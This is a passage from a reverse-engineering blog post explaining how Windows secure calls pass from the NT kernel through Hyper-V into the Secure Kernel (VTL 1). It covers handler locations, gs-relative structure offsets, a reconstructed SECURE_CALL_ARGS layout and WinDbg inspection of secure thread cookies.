<p>It is important to note that a <code class="language-plaintext highlighter-rouge">vmcall</code> instruction is spec’d to only run if the processor (which is currently running in “guest” mode) is at current privilege level (CPL) 0, or kernel-mode. <code class="language-plaintext highlighter-rouge">vmcall</code> is undefined in user-mode.</p>

<p>Once Hyper-V has execution it is then responsible for transitioning execution to the Secure Kernel (this is how execution goes from VTL 0 to VTL 1!). Hyper-V is the <em>bridge</em> between NT and SK, SK does not live “in the hypervisor”! For our purposes, which is to understand how the secure call “interface” works, we know that the first thing which happens as part of a secure call is that a VM exit occurs. This means that to better understand the secure call interface we first should attempt to locate Hyper-V’s VM exit handler!</p>

<h2 id="locating-the-hyper-v-vm-exit-handler">Locating the Hyper-V VM Exit Handler</h2>
<p>There <a href="https://blog.back.engineering/20/04/2021/">is existing art</a> on locating the VM exit handler for Hyper-V (for both AMD and Intel builds of Hyper-V). The canonical example is searching for a <code class="language-plaintext highlighter-rouge">vmresume</code> instruction (on Intel). A <code class="language-plaintext highlighter-rouge">vmresume</code> is responsible for transitioning the processor <em>back</em> to executing in context of a particular guest/VM (literally “resume” a VM). After a VM exit is handled, execution then eventually needs to go back to the guest. Typically a VM exit handler will, after handling the VM exit, issue the <code class="language-plaintext highlighter-rouge">vmresume</code>. Because of this the VM exit handler would then be in-and-around where a <code class="language-plaintext highlighter-rouge">vmresume</code> occurs. However, I am familiar enough with Hyper-V to know that there are certain debugging print statements located in the VM exit handler with the string <code class="language-plaintext highlighter-rouge">MinimalLoop</code> present. Searching for this string in IDA yields these print statements.</p>

<p><img src="/images/securecall2.png" alt="" /></p>

<p>As we can see, a few strings like “EPT violation” (which can be a reason for a VM exit) and “<code class="language-plaintext highlighter-rouge">VMX_EXIT_REASON_INIT_INTR</code>” indicate logging is occuring in the VM exit handler. If we examine where this logging occurs, and if we then convert all integer-style values to appropriate VM exit reasons, we can see the VM exit handler is responsible for determining how to service the VM exit event.</p>

<p><img src="/images/securecall3.png" alt="" /></p>

<p>It should be noted, additionally, that the VM exit reason is stored in the VMCS structure for the “current” guest (which caused the VM exit). The VMCS, or Virtual Machine Control Structure, is a per-processor structure. A VMCS represents the state of the “guest” running on a particular processor. Remember, with virtualization a processor can either be running in context of a particular guest (VM) or in context of the hypervisor software. We will see, later on, that both VTL 0 and VTL 1 have a VMCS which represents each of these “VMs”. What this means is that there is one VMCS loaded at a time on a processor (the VMCS is “per-processor”) but the <em>data</em> in the VMCS is per-guest. This is because there is a special CPU instruction, <code class="language-plaintext highlighter-rouge">vmptrld</code>, which allows the CPU to load a target VMCS pointer for a particular guest (thus allowing “multiple guests”). One VMCS “per-processor”, but we can swap out which VMCS that is based on the guest we want run on that processor.</p>

<p>The VM exit reason can be extracted by the hypervisor simply by invoking the <code class="language-plaintext highlighter-rouge">vmread</code> instruction with a particular <em>VMCS encoding</em> <a href="https://gist.github.com/wbenny/d0fdb53425de2641e207b8c4ef672cbc">value</a>. However, the VMCS resides in physical memory. Because it would be more performant to just write to virtual memory Hyper-V has the concept of “enlightenments” where the VMCS is mapped into <em>virtual</em> memory and is simply written to/read from its virtual address. Additionally, because (as we mentioned) the VMCS is per-processor Hyper-V also tracks the “current” VMCS through the <code class="language-plaintext highlighter-rouge">gs</code> segment register. Saar Amar talks about this <a href="https://msrc.microsoft.com/blog/2018/12/first-steps-in-hyper-v-research/">in this</a> Hyper-V research blog. In addition to the “current” VMCS there are many other important structures, like the “current” virtual processor, which are also tracked through the <code class="language-plaintext highlighter-rouge">gs</code> segment register on a particular processor. These offsets from the base of the <code class="language-plaintext highlighter-rouge">gs</code> segment register (which we will demonstrate how to find in this blog post) often change, and the data may not look the same from version-to-version.</p>

<p><img src="/images/securecall4.png" alt="" /></p>

<p>As we can see, <code class="language-plaintext highlighter-rouge">gs:[2C680h]</code>, on this particular build of Windows (24H2), contains the <em>virtual</em> address of the “current” VMCS. We know this because we can see here either the physical address of the VMCS is used, or the “enlightened” version. Because of this, we can deduce that since the VMCS is tracked via the current CPU’s <code class="language-plaintext highlighter-rouge">gs</code> segment register it is also very likely also that the rest of the important structures related to the hypervisor’s capabilities (like the “current virtual processor”) are also tracked via the <code class="language-plaintext highlighter-rouge">gs</code> segment register.</p>

<p>Because the rest of our analysis will require knowledge of where these structures are, we need to find where they reside. A wonderful <a href="https://blog.quarkslab.com/a-virtual-journey-from-hardware-virtualization-to-hyper-vs-virtual-trust-levels.html#virtual%20trust%20levels">blog</a> exists on this, from Quarkslab, talking about how to identify much of this data. Unfortunately much of the data has changed between the time that blog was written, and now. In fact, even some of the structures in-memory do not contain the same “layout” as that of the Quarkslab blog. Because of this, its worth examining how to first identify this information. We will do this by first continuing into our VM exit handler, by locating where hypercalls are handled.</p>

<h2 id="locating-the-hypercall-handler">Locating the Hypercall Handler</h2>
<p>Now that we know where the VM exit handler resides, we now need to identify where the handler for the “hypercall” VM exit reason occurs. This is because secure calls will result in a hypercall. Coming back to the VM exit handler, we can see there is a switch/case statement for handling all of the various VM exit reasons. We can also see a handler for <code class="language-plaintext highlighter-rouge">VMX_EXIT_REASON_EXECUTE_VMCALL</code>, which is the exit reason for a hypercall. This is our hypercall handler!</p>

<p><img src="/images/securecall5.png" alt="" /></p>

<p>We still do not know what the arguments to what we now will call <code class="language-plaintext highlighter-rouge">HandleVmCall</code> will be, but we know that this is where hypercalls are handled. Taking a look at <code class="language-plaintext highlighter-rouge">HandleVmCall</code> we can once again see <em>another</em> switch/case going over many of the supported hypercall values. The hypercall values can be extracted either from the TLFS, or more-easily through Alex Ionescu’s <a href="https://github.com/ionescu007/hdk/blob/master/hvgdk.h">HDK</a> project.</p>

<p>We can see that there is a dedicated handler to the <code class="language-plaintext highlighter-rouge">HvCallVtlCall</code> hypercall type. <code class="language-plaintext highlighter-rouge">HvCallVtlCall</code> has a value of <code class="language-plaintext highlighter-rouge">0x11</code>, or 17 in decimal. This is the secure call hypercall value and, thus, is our secure call handler!</p>

<p><img src="/images/securecall6.png" alt="" /></p>

<p>It’s also possible to get a full list of all the hypercall handlers. To do this one simply needs to locate the “hypercall table”, which is stored in the <code class="language-plaintext highlighter-rouge">.rdata</code> portion of Hyper-V (it was once in a <code class="language-plaintext highlighter-rouge">.CONST</code> section). This is important for us because we actually need to disassemble one of the hypercall handlers. Why is this? Remember - we still need to locate structures such as the current virtual processor and current partition, because they will provide much of the data to the secure calls that we need to inspect. Saar mentions in his blog that most hypercalls first check the <em>current partition</em> for the correct permissions/privileges in regards to the ability to execute a particular hypercall (a partition may not have the privileges to do so, and each guest resides in a child partition while VTL 0 and VTL 1 reside in the root partition).</p>

<p>Because some  hypercalls require special privileges there is a “privileges mask” which exists in each partition. Therefore, if we can locate the handlers for the hypercalls we can then inspect where this privilege check occurs. If we can find this privilege check, and if we know the privilege mask resides in the “current partition structure” we then can locate where the current partition resides!</p>

<p><img src="/images/securecall7.png" alt="" /></p>

<p><img src="/images/securecall8.png" alt="" /></p>

<p>As we can see, the hypercall table has a layout where the hypercall’s number is mapped to a particular hypercall handler routine. This is either an actual function which sets up a proper stack frame/etc., or is an assembly routine which does some necessary manual tasks.</p>

<p>To locate the current partition, let’s take one of the hypercall routines - in this case <code class="language-plaintext highlighter-rouge">HvRetrieveDebugData</code>, which is hypercall number <code class="language-plaintext highlighter-rouge">0x006a</code> according to the TLFS.</p>

<p><img src="/images/securecall9.png" alt="" /></p>

<p>Here we can now use WinDbg to load Hyper-V as data and examine this assembly stub. Use the command: <code class="language-plaintext highlighter-rouge">windbgx -z C:\Windows\system32\hvix64.exe</code> (for Intel-based Hyper-V).</p>

<p><img src="/images/securecall10.png" alt="" /></p>

<p>There is a constant, in this case, located at <code class="language-plaintext highlighter-rouge">gs:[360h]</code> which is some sort of structure that has a bitmask at offset <code class="language-plaintext highlighter-rouge">0x1b0</code>. We know that all hypercalls (usually) have this exact check at the beginning of the routine in order to validate privileges. This indicates that <code class="language-plaintext highlighter-rouge">gs:[360h]</code> must be the “current partition” and that <code class="language-plaintext highlighter-rouge">0x2b</code> is the privilege mask! Additionally, if we examine the <code class="language-plaintext highlighter-rouge">HV_PARTITION_PRIVILEGE_MASK</code> <a href="https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/datatypes/hv_partition_privilege_mask">enumeration</a>, we can see that <code class="language-plaintext highlighter-rouge">0x2b</code> is the <code class="language-plaintext highlighter-rouge">Debugging</code> bit - all but verifying that this is the partition, as the hypercall we are investigating is a debugging-related hypercall.</p>

<p>We now know the locations of the current VMCS and of the current partition. However, because there are some details still missing (especially because we don’t know how the VM exit handler receives its arguments and, thus, we don’t know the arguments for the secure call handler). The next step of the equation is to locate one of the most crucial data structures in Hyper-V, the Virtual Processor (VP). This data structure provides most of the arguments to both the secure call handler and the VM exit handler.</p>

<h2 id="locating-the-virtual-processor-vp">Locating the Virtual Processor (VP)</h2>
<p>I found that locating the VP is fairly straightforward, but relies (in my opinion) on some trial-and-error and “assumptions”. The Quarkslab blog outlines how they were able to find the VP, but on my build of Hyper-V (which is now 4 years newer), some of the semantics and offsets have changed. In our case, to find the VP, we “go back” as far as we can (using cross-reference functionality in IDA) to see how the VM exit handler receives its arguments. The “main” argument given to the VM exit handler “originates” several calls up in the call chain. What I mean by this is that the VM exit handler receives arguments from a function which itself received the same arguments from <em>another</em> function (all the way “up”) which “passed them on” to the VM exit handler. Eventually we come to the following function in Hyper-V which will eventually pass them on to the VM exit handler.</p>

<p><img src="/images/securecall11.png" alt="" /></p>

<p>Hyper-V does not ship with any public symbols. So although this looks abstract, <code class="language-plaintext highlighter-rouge">sub_FFFFF800003321C8</code> is the function which will eventually invoke the VM exit handler. In this case, a few things can be noticed. Firstly we can see that from <code class="language-plaintext highlighter-rouge">gs:[0h]</code> a structure, referred to as “<code class="language-plaintext highlighter-rouge">self</code>” in this case, is preserved. “Self” in this case means that <code class="language-plaintext highlighter-rouge">gs:[0h]</code> simply references itself and is just a pointer “back to itself”. We can then see that what we will refer to as “the virtual processor” is extracted at offset <code class="language-plaintext highlighter-rouge">0x368</code> from the self-pointer. This is another way of expressing <code class="language-plaintext highlighter-rouge">gs:[368h]</code>. This is the current processor’s virtual processor structure! The VP structure has a specific structure member, located at offset <code class="language-plaintext highlighter-rouge">0xFC0</code>, which is passed to the VM exit handler. The VM exit handler also will preserve the virtual processor as a local variable.</p>

<p><img src="/images/securecall12.png" alt="" /></p>

<p>The virtual processor is then passed to the VM call handler which, in turn, will pass it on to the secure call handler (which is just a hypercall with a hypercall code of <code class="language-plaintext highlighter-rouge">0x11</code>).</p>

<p><img src="/images/securecall13.png" alt="" /></p>

<p><img src="/images/securecall14.png" alt="" /></p>

<h2 id="the-secure-call-handler">The Secure Call Handler</h2>
<p>Now that we have our feet under us, we can turn our attention to the actual “secure call handler”, which is just a hypercall handler for hypercall code <code class="language-plaintext highlighter-rouge">0x11</code> (<code class="language-plaintext highlighter-rouge">HvCallVtlCall</code>).</p>

<p><img src="/images/securecall15.png" alt="" /></p>

<p>The secure call handler will, first, extract <code class="language-plaintext highlighter-rouge">VirtualProcessor + 0x3c0</code>, which seems to be a structure, and then will extract from what seems to be <em>another</em> structure at offset <code class="language-plaintext highlighter-rouge">0x14</code>. One thing we must remember is that, when Virtual Secure Mode (VSM) is enabled, we have (currently) <em>two</em> Virtual Trust Levels (VTLs). We have VTL 0 (normal world) and we have VTL 1 (secure world). The thing to remember here is that a particular processor, when VSM is enabled, executes <em>in context of a particular VTL</em> as well! Hyper-V manages the “current VTL” information via the VP structure. In this version of Hyper-V, the “current VTL” is maintained through the current virtual processor at offset <code class="language-plaintext highlighter-rouge">0x3c0</code>. Additionally, offset <code class="language-plaintext highlighter-rouge">0x14</code> into this “VTL structure” contains the VTL associated with the VTL structure (which, in this case, means the VTL of the <em>current</em> processor).</p>

<p><img src="/images/securecall16.png" alt="" /></p>

<p>The curious reader may wonder where, what I am calling <code class="language-plaintext highlighter-rouge">VtlInitializedMask</code>, comes from. As part of the “song-and-dance” that Hyper-V and the Secure Kernel perform, to initialize the VTLs, a “mask” (managed by the VP) maintains “state” associated with the VTLs that are initialized. This also brings up, since it is seen in the screenshot below, the VP maintains both the <em>current</em> VTL information <em>and</em> an array of all known VTLs.</p>

<p><img src="/images/securecall17.png" alt="" /></p>

<p>The first thing the secure call handler does, if we are eligble to issue the secure call (the target VTL is initialized), is we “fixup” the instruction pointer for the current VTL. There is one crucial detail to recall here - with the presence of VSM we have <em>two</em> VMCS structures which can be used - the VMCS associated with VTL 0 (which is the current VTL, since this is a secure call and VTL 0 and requesting services of VTL 1) and the VMCS associated with VTL 1. The “typical” specification for handling VM exit (like our secure call) is to then increment the instruction pointer of the guest which caused the VM exit to the <em>next</em> instruction to be executed when the VM enter occurs later (when the hypervisor is done and the guest starts executing again). This is the first thing that is done so that VTL 0 returns to the “next” instruction and does not re-issue the hypercall (in this case “secure call”). This is done be either leveraging the “enlightened” VMCS, or by reading from the VMCS directly using the <code class="language-plaintext highlighter-rouge">vmread</code> and them <code class="language-plaintext highlighter-rouge">vmwrite</code> instructions to update the guest’s instruction pointer.</p>

<p>Once the instruction pointer for VTL 0 has been fixed up, the transition to the new VTL (VTL 1) begins. This is achieved through what I am calling the <code class="language-plaintext highlighter-rouge">BeginVtlTransition</code> function. For our purposes this function will ensure that the target VTL differs from the current VTL (as this is a VTL <em>transition</em>).</p>

<p><img src="/images/securecall18.png" alt="" /></p>

<p>When the actual VTL transition occurs, the first thing that happens is the current VTL data for the current virtual processor is updated. In this case, the current VTL is now VTL 1.</p>

<p><img src="/images/securecall19.png" alt="" /></p>

<p>After the relevant information is updated the actual VMCS of the current VP needs to be updated to that of the new VTL (VTL 1). This is done through a function I have named <code class="language-plaintext highlighter-rouge">TransitionToNewVtlViaVmcs</code>. From the “new VTL data” comes what I am referring to as <em>private</em> VTL data. This could also be renamed to “VTL state data”. The “state data” or “private data” is necessary as it contains the target VTL’s VMCS pointer.</p>

<p><img src="/images/securecall20.png" alt="" /></p>

<p>With the target VTL’s information now in-scope, the transition to the new VTL can occur by updating the current VMCS to that of, in our case, VTL 1. The <code class="language-plaintext highlighter-rouge">vmptrld</code> instruction will be used to achieve this if enlightenments are not available. Otherwise the <em>virtual</em> address of the VMCS is used.</p>

<p><img src="/images/securecall21.png" alt="" /></p>

<p>The “guest RIP”, “guest RSP”, etc. are now all that of VTL 1 and execution is still in the hypervisor. The new “guest RIP” and “guest RSP” (which are that of VTL 1) will be used when the “VM resume” occurs to allow the processor to start executing in context of the new guest (which is now VTL 1 after the VTL transition). The new guest RIP and guest RSP come from <em>the last time</em> VTL 1 caused a VM exit. So whatever VTL 1 was doing at the time it performed the last action that caused a VM exit is the state of the processor when the VM resume will occur. From here Hyper-V can simply issue a <code class="language-plaintext highlighter-rouge">vmresume</code> instruction and the new “guest” that will start executing is VTL 1! This is how VTL 0 asks Hyper-V (via the hypercall) to have VTL 1 start executing.</p>

<p>This means we now have a primitive (secure call) to transition into VTL 1, requested by VTL 0 and serviced by the hypervisor as we have seen, but the crucial question here is <em>what</em> will be executed in VTL 1 when the VM resume occurs? The Secure Kernel is setup in such a way, when handling secure calls, to cleverly leverage code routines and hand-crafted assembly code that exist very close together in memory so that when the hypervisor issues the VM resume and execution occurs in VTL 1, the correct handlers are present in the Secure Kernel to service the secure call.</p>

<h2 id="vtl-1-state-preservation-and-vm-exit-back-to-hyper-v">VTL 1 State Preservation And VM Exit Back To Hyper-V</h2>
<p>Let’s now turn our attention to the Secure Kernel’s “famous” function, <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code>. Using SourcePoint’s debugger, which I have <a href="https://connormcgarr.github.io/km-shadow-stacks/">previously outlined using</a>, we can debug the Secure Kernel to gain insight into how VTL 1 preserves it state in such a way that when a secure call occurs execution seamlessly results in the secure call being serviced by <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code>. To understand this let’s start at what the Secure Kernel will do <em>after</em> servicing a secure call, in order to gain insight into how VTL 1 properly preserves it state before performing the VM exit back to Hyper-V.</p>

<p>When the secure call has been serviced (via <code class="language-plaintext highlighter-rouge">securekernel!IumInvokeSecureService</code>), an indirect jump occurs to <code class="language-plaintext highlighter-rouge">securekernel!SkpPrepareForNormalCall</code>. It is <em>crucial</em> here that this is a jump, not a call, as no return address is pushed onto the stack. This is because the thread currently executing may not end up being the thread which actually processes the return back into Hyper-V.</p>

<p><img src="/images/securecall22.png" alt="" /></p>

<p>Secure calls are handled, usually, in context of a particular thread (more on the actual interface towards the end of this blog post). Because of this two functions are called, <code class="language-plaintext highlighter-rouge">securekernel!SKiDeselectThread</code> and (potentially, if a specific thread is necessary - we will talk about this later) <code class="language-plaintext highlighter-rouge">securekernel!SkiDetachThread</code>. This allows us to “stop executing” in context of the particular thread in which the secure call was handled.</p>

<p><img src="/images/securecall23.png" alt="" /></p>

<p>We are now “back” to the thread which originally started executing when VTL 1 was “entered” into via the secure call (more specifically this is the thread which was represented by the “guest RSP” and “guest RIP” update we talked about earlier when the VMCS for VTL 1 was loaded and the VM resume occured to dispatch VTL 1).</p>

<p>With the correct thread selected it is time to preserve the current state of VTL 1 before the VM exit. Recall that all of the code/assembly which is responsible for preserving the current state of execution is tightly-packed right next to each other in memory. This allows execution to occur linearly and not require complex jumps/calls across several pages of memory and to allow the stack to be setup in a very particular manner. <code class="language-plaintext highlighter-rouge">securekernel!SkpPrepareForNormalCall</code> then invokes <code class="language-plaintext highlighter-rouge">securekernel!SkpPrepareForReturnToNormalMode</code> (which are right next to each other in memory). This function is then where “the magic happens”.</p>

<p>Eventually an indirect call to <code class="language-plaintext highlighter-rouge">securekernel!ShvlpVtlReturn</code> occurs. This time we issue a <em>call</em> instead of a jump. This is crucial because a <code class="language-plaintext highlighter-rouge">call</code>, as you may know, will push the address of the <em>next</em> instruction onto the stack.</p>

<p><img src="/images/securecall24.png" alt="" /></p>

<p><img src="/images/securecall25.png" alt="" /></p>

<p>In this case the address of the <em>next</em> instruction is <code class="language-plaintext highlighter-rouge">securekernel!SkpReturnFromNormalMode</code>! This means that when the VM exit from VTL 1 occurs back into Hyper-V (which is known as a “secure call return”) it will be <em>this</em> address which is pointed to by the top of the guest’s stack (guest RSP). Why does this matter? The current function about-to-be executed (<code class="language-plaintext highlighter-rouge">securekernel!ShvlpVtlReturn</code>) simply issues a <code class="language-plaintext highlighter-rouge">vmcall</code> (hypercall) with the secure call return hypercall code (<code class="language-plaintext highlighter-rouge">0x12</code>). When this happens, the VM exit happens back into Hyper-V - and the address on the stack is that of <code class="language-plaintext highlighter-rouge">securekernel!SkpReturnFromNormalMode</code>.</p>

<p><img src="/images/securecall26.png" alt="" /></p>

<p>Hyper-V, on receiving the secure call return hypercall, will <em>also</em> perform a similar fixup to that which we saw earlier - specifically Hyper-V will fixup the guest’s RIP (the guest RIP from the VMCS of VTL 1). The “current” guest RIP for VTL 1 points to the <code class="language-plaintext highlighter-rouge">vmcall</code> (the secure return). Hyper-V will increment VTL 1’s RIP to the <em>next</em> instruction after the <code class="language-plaintext highlighter-rouge">vmcall</code>. This is important because the instruction after the <code class="language-plaintext highlighter-rouge">vmcall</code> is simply a <code class="language-plaintext highlighter-rouge">ret</code> (return)! What this allows the Secure Kernel to do is that, upon the next VM entry into VTL 1, this <code class="language-plaintext highlighter-rouge">ret</code> will execute and, thus <em>return</em> into whatever is stored on the guest’s stack pointer. In this case, as we can recall, VTL 1 strategically configured it’s stack pointer to be <code class="language-plaintext highlighter-rouge">securekernel!SkpReturnFromNormalMode</code>! <code class="language-plaintext highlighter-rouge">securekernel!SkpReturnFromNormalMode</code> is the Secure Kernel function responsible for dispatching the appropriate logic as to why the VM entry into VTL 1 occured (hypercall, intercept, etc.)! This “packing together” of functions near the <code class="language-plaintext highlighter-rouge">vmcall</code> instruction allows the Secure Kernel to “always be ready” to handle any VM entry, by allowing VTL 1 to simply let <code class="language-plaintext highlighter-rouge">securekernel!SkpReturnFromNormalMode</code> to handle any entry into VTL 1 from VTL 0 (normal mode)!</p>

<p>Now that we have examined the underlying mechanism which allows for VTL 0 -&gt; Hyper-V -&gt; VTL 1 “secure calls” and returns from VTL 1 -&gt; Hyper-V -&gt; VTL 0, let’s actually examine, from the “NT” side the actual “secure call interface” and the nuances surrounding it.</p>

<h2 id="secure-call-interface-1">Secure Call “Interface”</h2>
<p>The secure call interface, as I have mentioned in previous blogs (and this one), all revolves around the NT function <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code>, which I have prototyped as such:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">NTSTATUS</span>
<span class="nf">VslpEnterIumSecureMode</span> <span class="p">(</span>
    <span class="n">_In_</span> <span class="n">UINT8</span> <span class="n">OperationType</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG64</span> <span class="n">SecureCallCode</span><span class="p">,</span>
    <span class="n">_In_</span> <span class="n">ULONG64</span> <span class="n">OptionalSecureThreadCookie</span><span class="p">,</span>
    <span class="n">_Inout_</span> <span class="n">SECURE_CALL_ARGS</span> <span class="o">*</span><span class="n">SecureCallArgs</span>
    <span class="p">);</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">SECURE_CALL_ARGS</code> structure is undocumented, but is <em>known</em> to be 0x68 (108 bytes) in size from <em>Windows Internals 7th Edition, Part 2</em>. To the best of my ability I have reverse engineered this structure to the following layout:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">union</span> <span class="n">SECURE_CALL_RESERVED_FIELD</span>
<span class="p">{</span>
    <span class="n">ULONGLONG</span> <span class="n">ReservedFullField</span><span class="p">;</span>
    <span class="k">union</span>
    <span class="p">{</span>
        <span class="k">struct</span>
        <span class="p">{</span>
            <span class="n">UINT8</span> <span class="n">OperationType</span><span class="p">;</span>
            <span class="n">UINT16</span> <span class="n">SecureCallOrSystemCallCode</span><span class="p">;</span>
            <span class="n">ULONG</span> <span class="n">SecureThreadCookie</span><span class="p">;</span>
        <span class="p">}</span> <span class="n">FieldData</span><span class="p">;</span>
    <span class="p">}</span> <span class="n">u</span><span class="p">;</span>
<span class="p">};</span>

<span class="k">typedef</span> <span class="k">struct</span> <span class="n">_SECURE_CALL_ARGS</span>
<span class="p">{</span>
    <span class="n">SECURE_CALL_RESERVED_FIELD</span> <span class="n">Reserved</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field1</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field2</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field3</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field4</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field5</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field6</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field7</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field8</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field9</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field10</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field11</span><span class="p">;</span>
    <span class="n">ULONGLONG</span> <span class="n">Field12</span><span class="p">;</span>
<span class="p">}</span> <span class="n">SECURE_CALL_ARGS</span><span class="p">,</span> <span class="o">*</span><span class="n">PSECURE_CALL_ARGS</span><span class="p">;</span>
</code></pre></div></div>

<p>As <em>Windows Internals, 7th Edition Part 2</em> mentions, and other researchers <a href="https://dor00tkit.github.io/Dor00tkit/posts/debugging-the-windows-hypervisor-inspecting-sk-calls/">have noticed</a>, the first argument passed to <code class="language-plaintext highlighter-rouge">VslpEnterIumSecureMode</code> is the “operation type”. Almost all of these are set to <code class="language-plaintext highlighter-rouge">2</code>, but other values do exist. <code class="language-plaintext highlighter-rouge">2</code> seems to indicate “requesting a secure service” or a “secure call”. Additionally, <code class="language-plaintext highlighter-rouge">OptionalSecureThreadCookie</code> is unused except for the case of starting a secure thread and calling into an enclave (although, as we will see, a secure thread cookie can still be used even if one is not specified as an argument directly to <code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code>).</p>

<p>A “secure thread cookie” is created by the Secure Kernel when the NT kernel requests that a <em>secure thread</em> be created. A secure thread is a thread which will run in VTL 1, usually by a trustlet/secure process, but the thread is still created in VTL 0 (and then run in VTL 1, and also may re-enter into VTL 0 as we will see via the “normal call” interface). The Secure Kernel is then responsible for setting up the secure thread and will then, on success, return a “secure thread cookie” back to the NT kernel. This cookie is effectively a “handle” of sorts, and lets the Secure Kernel know (who tracks all known secure threads) which thread a particular secure call needs to be serviced on. Using WinDbg we can identify an example secure thread cookie value:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">lkd</span><span class="o">&gt;</span> <span class="nx">dx</span> <span class="o">-</span><span class="nx">g</span> <span class="p">@</span><span class="nx">$cursession</span><span class="p">.</span><span class="nx">Processes</span><span class="p">.</span><span class="nx">Where</span><span class="p">(</span><span class="nx">p</span> <span class="o">=&gt;</span> <span class="nx">p</span><span class="p">.</span><span class="nx">Threads</span><span class="p">.</span><span class="nx">Any</span><span class="p">(</span><span class="nx">t</span> <span class="o">=&gt;</span> <span class="nx">t</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">Tcb</span><span class="p">.</span><span class="nx">SecureThreadCookie</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)).</span><span class="nx">Last</span><span class="p">().</span><span class="nx">Threads</span><span class="p">.</span><span class="nx">Where</span><span class="p">(</span><span class="nx">t</span> <span class="o">=&gt;</span> <span class="nx">t</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">Tcb</span><span class="p">.</span><span class="nx">SecureThreadCookie</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">).</span><span class="nx">Select</span><span class="p">(</span><span class="nx">t</span> <span class="o">=&gt;</span> <span class="k">new</span> <span class="p">{</span><span class="nx">Process</span> <span class="o">=</span> <span class="p">(</span><span class="nx">char</span><span class="o">*</span><span class="p">)(((</span><span class="nx">nt</span><span class="o">!</span><span class="nx">_EPROCESS</span><span class="o">*</span><span class="p">)(</span><span class="nx">t</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">ProcessFastRef</span><span class="p">.</span><span class="nb">Object</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mh">0xf</span><span class="p">))</span><span class="o">-&gt;</span><span class="nx">ImageFileName</span><span class="p">),</span> <span class="nx">TID</span> <span class="o">=</span> <span class="nx">t</span><span class="p">.</span><span class="nx">Id</span><span class="p">,</span> <span class="nx">SecureThreadCookie</span> <span class="o">=</span> <span class="nx">t</span><span class="p">.</span><span class="nx">KernelObject</span><span class="p">.</span><span class="nx">Tcb</span><span class="p">.</span><span class="nx">SecureThreadCookie</span><span class="p">})</span>
<span class="o">=======================================================================================</span>
<span class="o">=</span>             <span class="o">=</span> <span class="p">(</span><span class="o">+</span><span class="p">)</span> <span class="nx">Process</span>                          <span class="o">=</span> <span class="p">(</span><span class="o">+</span><span class="p">)</span> <span class="nx">TID</span>   <span class="o">=</span> <span class="nx">SecureThreadCookie</span> <span class="o">=</span>
<span class="o">=======================================================================================</span>
<span class="o">=</span> <span class="p">[</span><span class="mh">0x172c</span><span class="p">]</span>    <span class="o">-</span> <span class="mh">0xffff9e0942b543b8</span> <span class="p">:</span> <span class="dl">"</span><span class="s2">NgcIso.exe</span><span class="dl">"</span>    <span class="o">-</span> <span class="mh">0x172c</span>    <span class="o">-</span> <span class="mh">0x15</span>               <span class="o">=</span>
<span class="o">=======================================================================================</span>
</code></pre></div></div>

<p>In this case <code class="language-plaintext highlighter-rouge">NgcIso.exe</code> is associated with “Windows Hello” (another feature of Windows is that the biometric authentication can be implemented in VTL 1!) process. In this case the secure thread cookie, managed by the <code class="language-plaintext highlighter-rouge">KTHREAD</code> object, is <code class="language-plaintext highlighter-rouge">0x15</code>. This can optionally be provided to the secure call interface to instruct the Secure Kernel to handle a secure call on a particular thread.</p>

<p><code class="language-plaintext highlighter-rouge">nt!VslpEnterIumSecureMode</code> will do a few things, in addition to packaging up the arguments. If the type of operation type is “3” (a request to flush the translation buffers, or TB) an ETW event can be generated for the enter into VTL 1, although we can see later other scenarios also can result in an ETW event for an entry/exit into VTL 1 (you can see my tool <a href="https://github.com/connormcgarr/Vtl1Mon">Vtl1Mon</a> for more information). If ETW logging is not configured, and the operation is a “flush TB”, <code class="language-plaintext highlighter-rouge">nt!HvlSwitchToVsmVtl1</code> is called directly - which simply issues the hypercall for code <code class="language-plaintext highlighter-rouge">0x11</code>, which is a secure call.</p>

<p><img src="/images/securecall27.png" alt="" /></p>

<p>If the operation is <em>not</em> related to flushing the TB it is therefore either a secure call or a normal call (VTL 1 requesting the services of VTL 0). In the case of it being a normal or secure call, the appropriate secure thread cookie is specified (if necessary).</p>

<p><img src="/images/securecall27a.png" alt="" /></p>

<p>One of the most common scenarios for a “normal” call is a VTL 1 secure process requesting the services of a system call that is not implemented in VTL 1 (and, thus, VTL 0 is needed). In these cases a dedicated <em>secure thread</em> has previously been created by a secure process. This secure thread is “running” in VTL 0 in a loop that can be “broken” when VTL 1 requests a normal call.</p>

<p><img src="/images/securecall_normal.png" alt="" /></p>

